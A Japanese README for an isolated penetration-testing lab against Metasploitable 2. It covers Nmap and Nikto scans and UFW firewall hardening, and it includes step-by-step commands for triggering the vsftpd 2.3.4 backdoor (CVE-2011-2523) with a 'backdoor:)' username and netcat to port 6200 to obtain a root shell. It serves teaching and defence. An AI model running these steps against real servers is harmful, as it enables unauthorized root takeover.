
管理された仮想攻防ラボ — CVE-2011-2523 エクスプロイト、Nmap 偵察、Nikto スキャン、Metasploitable 2 上での UFW ハードニング
このラボは、完全に隔離された仮想環境において、実際のペネトレーションテストと防御強化演習をシミュレートします。偵察から悪用に至るまでの攻撃セキュリティライフサイクルと、各リスクを軽減する防御制御を実証します。
主な成果: 既知のバックドアを悪用し、資格情報や特別なツールを使用せずに、60秒未満で対象マシンの完全なrootアクセスを達成しました。
| コンポーネント | 詳細 |
|---|---|
| ハイパーバイザー | VMware Workstation |
| ネットワーク | Host-Only / NAT(完全隔離) |
| 攻撃側OS | Ubuntu 24 LTS |
| 対象OS | Metasploitable 2(Linux 2.6.x) |
| 攻撃側IP | 192.168.148.255 |
| 対象IP | 192.168.148.130 |
偵察 → スキャン → 悪用 → 防御と強化
sudo nmap -sV -O 192.168.148.130 -oN scan_before.txt
主な発見 — 合計23のオープンポート:
nikto -h http://192.168.148.130 -o nikto_before.txt
18の脆弱性を発見(以下を含む):
phpinfo.phpがサーバー設定全体を漏洩/doc/、/test/でディレクトリインデックスが有効vsftpd 2.3.4には、サプライチェーン侵害により導入されたバックドアが存在します。:) で終わるユーザー名を送信すると、サーバーはポート 6200 にrootシェルを開きます。
# ステップ1 — FTP経由でバックドアをトリガー
ftp 192.168.148.130
# ユーザー名: backdoor:) パスワード: 任意
# ステップ2 — 生成されたシェルに接続
nc 192.168.148.130 6200
# ステップ3 — アクセスを確認
whoami
# → root
結果: 資格情報も悪用フレームワークも不要で、60秒未満で完全なrootレベルのシステムアクセスを達成。
影響: rootアクセスを得た攻撃者は、任意のファイルの読み取り/変更/削除、マルウェアのインストール、データの窃取、ネットワーク上の他のホストへの横断移動が可能。
sudo ufw enable
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp # SSHのみ
sudo ufw status verbose
完全な評価については、report.md を参照してください — 手法全体、コマンド出力、発見事項テーブル、悪用手順、およびすべての是正推奨事項が含まれています。
このラボは、意図的に脆弱なソフトウェア(Metasploitable 2)を使用し、完全に隔離された仮想環境で実施されました。すべての手法は教育およびポートフォリオ目的のみです。自分が所有していない、または明示的な書面によるテスト許可を得ていないシステムで再現しないでください。
| ポート | サービス | バージョン | リスク |
|---|
| 21 | FTP | vsftpd 2.3.4 | 🔴 緊急 — 既知のバックドア(CVE-2011-2523) |
| 22 | SSH | OpenSSH 4.7p1 | 🟡 中 — 旧バージョン |
| 23 | Telnet | Linux telnetd | 🟠 高 — 平文プロトコル |
| 80 | HTTP | Apache 2.2.8 | 🟠 高 — 複数のCVE |
| 1524 | Bindshell | Rootシェル | 🔴 緊急 — オープンルートシェル |
| 3306 | MySQL | 5.0.51a | 🟠 高 — データベース露出 |
| 5900 | VNC | Protocol 3.3 | 🟠 高 — 脆弱な認証 |
| 6667 | IRC | UnrealIRCd | 🔴 緊急 — 既知のバックドア |
| 脆弱性 | 修正 |
|---|
| vsftpd 2.3.4 バックドア | vsftpd 3.x にアップグレード、またはSFTPに移行 |
| オープンルートシェル(ポート1524) | 直ちに無効化し、インストールを監査 |
| Telnet(ポート23) | 無効化 — SSHのみを強制 |
| phpMyAdminが露出 | IPで制限、強力な認証を要求 |
| MySQLが露出(ポート3306) | localhostにバインド、外部アクセスをブロック |
| VNCが露出(ポート5900) | IPで制限、または無効化 |
| ディレクトリインデックス | Apache: Options -Indexes |
| HTTP TRACE | Apache: TraceEnable off |
| 旧バージョンのApache + PHP | サポートされているLTSバージョンにアップグレード |
| ツール | 目的 |
|---|
| Nmap | ポートスキャンとサービス検出 |
| Nikto | Web脆弱性スキャン |
| Netcat | バックドアシェルへの接続 |
| UFW | ホストベースのファイアウォール設定 |
| FTPクライアント | vsftpdバックドアのトリガー |
| VMware Workstation | ラボ仮想化 |